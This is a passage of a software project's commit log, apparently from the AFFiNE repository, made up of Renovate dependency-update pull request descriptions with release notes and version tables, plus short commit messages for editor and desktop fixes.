-   fix!: Wrap injected code in block-statement to contain scope ([#&#8203;646](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/646))
-   chore!: Remove deprecated options ([#&#8203;654](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/654))
-   feat(logger): Use console methods respective to log level ([#&#8203;652](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/652))
-   fix(webpack): Ensure process exits when done ([#&#8203;653](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/653))
-   fix: Use correct replacement matcher for `bundleSizeOptimizations.excludeTracing` ([#&#8203;644](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/644))

Work in this release contributed by [@&#8203;jdelStrother](https://redirect.github.com/jdelStrother). Thank you for your contribution!

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-16 09:20:13 +00:00
fundon 268e89911a perf(editor): fix autoUpdate being continuously added when updating selections (#9727)
Since `updated` is triggered every time click or update the selection, `autoUpdate` will be continuously added.

Case: select text and `Shift+ArrowLeft/ArrowRight`
2025-01-16 09:05:10 +00:00
akumatus 562e358dac fix(core): downward arrow is visible when message panel is not scrollable (#9670)
Fix issue [AF-2056](https://linear.app/affine-design/issue/AF-2056).

### What changed?
- Check both `showDownIndicator` and `filteredItems.length` when rendering `DownArrowIcon`.
- Use `scrollIntoView` instead of `scrollToEnd` during AI result transmission.

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/9810856c-04fe-4381-8a9b-a87a0d8931d6.png)
2025-01-16 08:49:10 +00:00
L-Sun 969ac30874 fix(editor): reactive heading icon (#9729)
Close [BS-2407](https://linear.app/affine-design/issue/BS-2407/[bug]-edgeless-里选中-title-后更改,hint-没有改变)
2025-01-16 08:32:15 +00:00
doodlewind 509cdfd7bf fix(editor): playground font inconsistency (#9728) 2025-01-16 08:16:13 +00:00
renovate cb81f4a963 chore: bump up @sentry/webpack-plugin version to v3 (#9721)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@sentry/webpack-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/webpack-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`^2.22.7` -> `^3.0.0`](https://renovatebot.com/diffs/npm/@sentry%2fwebpack-plugin/2.23.0/3.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fwebpack-plugin/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fwebpack-plugin/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fwebpack-plugin/2.23.0/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fwebpack-plugin/2.23.0/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>getsentry/sentry-javascript-bundler-plugins (@&#8203;sentry/webpack-plugin)</summary>

### [`v3.0.0`](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/blob/HEAD/CHANGELOG.md#300)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/compare/2.23.0...3.0.0)

##### Breaking Changes

-   Injected code will now use `let`, which was added in ES6 (ES2015).
    This means that ES6 is the minimum JavaScript version that the Sentry bundler plugins support.

-   Deprecated options have been removed:
    -   `deleteFilesAfterUpload` - Use `filesToDeleteAfterUpload` instead
    -   `bundleSizeOptimizations.excludePerformanceMonitoring` - Use `bundleSizeOptimizations.excludeTracing` instead
    -   `_experiments.moduleMetadata` - Use `moduleMetadata` instead
    -   `cleanArtifacts` - Did not do anything

##### List of Changes

-   fix!: Wrap injected code in block-statement to contain scope ([#&#8203;646](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/646))
-   chore!: Remove deprecated options ([#&#8203;654](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/654))
-   feat(logger): Use console methods respective to log level ([#&#8203;652](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/652))
-   fix(webpack): Ensure process exits when done ([#&#8203;653](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/653))
-   fix: Use correct replacement matcher for `bundleSizeOptimizations.excludeTracing` ([#&#8203;644](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/644))

Work in this release contributed by [@&#8203;jdelStrother](https://redirect.github.com/jdelStrother). Thank you for your contribution!

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-16 07:26:08 +00:00
renovate 6a07d0a7dd chore: bump up changelogithub version to v13 (#9723)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [changelogithub](https://redirect.github.com/antfu/changelogithub) | [`^0.13.11` -> `^13.0.0`](https://renovatebot.com/diffs/npm/changelogithub/0.13.11/13.12.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/changelogithub/13.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/changelogithub/13.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/changelogithub/0.13.11/13.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/changelogithub/0.13.11/13.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>antfu/changelogithub (changelogithub)</summary>

### [`v13.12.1`](https://redirect.github.com/antfu/changelogithub/releases/tag/v13.12.1)

[Compare Source](https://redirect.github.com/antfu/changelogithub/compare/v0.13.11...v13.12.1)

Adopt to [Epoch SemVer](https://antfu.me/posts/epoch-semver), no behavior change from the last version.

*No significant changes*

#####     [View changes on GitHub](https://redirect.github.com/antfu/changelogithub/compare/v13.12.0...v13.12.1)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-16 07:05:43 +00:00
pengx17 9f3a304885 feat(electron): more desktop app related shortcuts (#9724)
fix AF-2126, AF-2124

- Add CMD+M for minimize the app.
- Enhance how CMD+W works. Close the following in order, stop if any one is closed:
  - peek view
  - split view
  - tab
  - otherwise, hide the app
2025-01-16 06:50:08 +00:00
fundon 676f855564 fix(editor): stop paste-copy event bubbling on bookmark modal (#9713)
Closes: [BS-2402](https://linear.app/affine-design/issue/BS-2402/bookmark-没法粘贴修改标题,会跑到下一行)
2025-01-16 06:34:09 +00:00
L-Sun f7cbd21dd9 chore(debug): add vscode debug launch setting (#9725)
This PR allows vscode to add breakpoints to the editor's code.
2025-01-16 06:17:41 +00:00
renovate 32f09b5ac0 chore: bump up all non-major dependencies (#9689)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.726.1` -> `3.729.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.726.1/3.729.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.729.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.729.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.726.1/3.729.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.726.1/3.729.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capacitor/browser](https://redirect.github.com/ionic-team/capacitor-plugins) | [`6.0.4` -> `6.0.5`](https://renovatebot.com/diffs/npm/@capacitor%2fbrowser/6.0.4/6.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fbrowser/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fbrowser/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fbrowser/6.0.4/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fbrowser/6.0.4/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@faker-js/faker](https://fakerjs.dev) ([source](https://redirect.github.com/faker-js/faker)) | [`9.3.0` -> `9.4.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.3.0/9.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/9.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@faker-js%2ffaker/9.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@faker-js%2ffaker/9.3.0/9.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.3.0/9.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/core](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-core) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.30.0` -> `1.30.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fcore/1.30.0/1.30.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fcore/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fcore/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fcore/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fcore/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.0` -> `0.57.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.57.0/0.57.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/exporter-zipkin](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-exporter-zipkin) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.30.0` -> `1.30.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-zipkin/1.30.0/1.30.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-zipkin/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-zipkin/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-zipkin/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-zipkin/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.0` -> `0.57.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.57.0/0.57.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.0` -> `0.57.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.57.0/0.57.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/resources](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-resources) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.30.0` -> `1.30.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fresources/1.30.0/1.30.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fresources/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fresources/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fresources/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fresources/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/sdk-metrics) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.30.0` -> `1.30.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-metrics/1.30.0/1.30.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-metrics/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-metrics/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-metrics/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-metrics/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.0` -> `0.57.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.57.0/0.57.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.57.0/0.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-trace-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-sdk-trace-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.30.0` -> `1.30.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-trace-node/1.30.0/1.30.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-trace-node/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-trace-node/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-trace-node/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-trace-node/1.30.0/1.30.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/electron](https://redirect.github.com/getsentry/sentry-electron) | [`5.9.0` -> `5.10.0`](https://renovatebot.com/diffs/npm/@sentry%2felectron/5.9.0/5.10.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2felectron/5.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2felectron/5.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2felectron/5.9.0/5.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2felectron/5.9.0/5.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.48.0` -> `8.50.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.48.0/8.50.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.50.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.50.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.48.0/8.50.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.48.0/8.50.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.15` -> `1.0.16`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.15/1.0.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.15/1.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.15/1.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
